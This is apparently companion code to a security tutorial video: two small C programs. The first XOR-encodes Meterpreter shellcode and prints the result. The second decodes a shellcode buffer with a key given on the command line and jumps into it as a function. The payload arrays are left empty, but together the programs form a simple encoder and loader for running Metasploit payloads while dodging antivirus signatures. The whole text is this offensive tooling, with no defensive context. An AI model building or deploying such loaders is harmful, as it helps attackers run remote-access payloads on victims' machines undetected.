//(http://www.securitytube.net/video/2863)

unsigned char code[]="";//enter meterpreter c shellcode here
int main(int argc,char **argv)
{
    int i;
    for(i=0;i<sizeof code;i++){//single xor logic
                     code[i]=code[i]^0xff;//xor with 0xff i.e -1 so pass -1 as argument in xored_argument
                     printf("\\x%02x",code[i]);//prints the xored shellcode
                     }
}


==================================================================================


//(http://www.securitytube.net/video/2863)


unsigned char code[]="";//enter xor_output shellcode here
int main(int argc,char **argv)
{
    int i;
    unsigned int j;
    j=atoi(argv[1]);
    for(i=0;i<sizeof code;i++){
                     code[i]=code[i]^j;//j is the argument to be passed ... to change argument change 0xff i.e -1 to anyother key .. and pass it as argument

                     }
//routine
int (*func)();
func=(int (*)())code;
 (int)(*func)();
}

====================================================================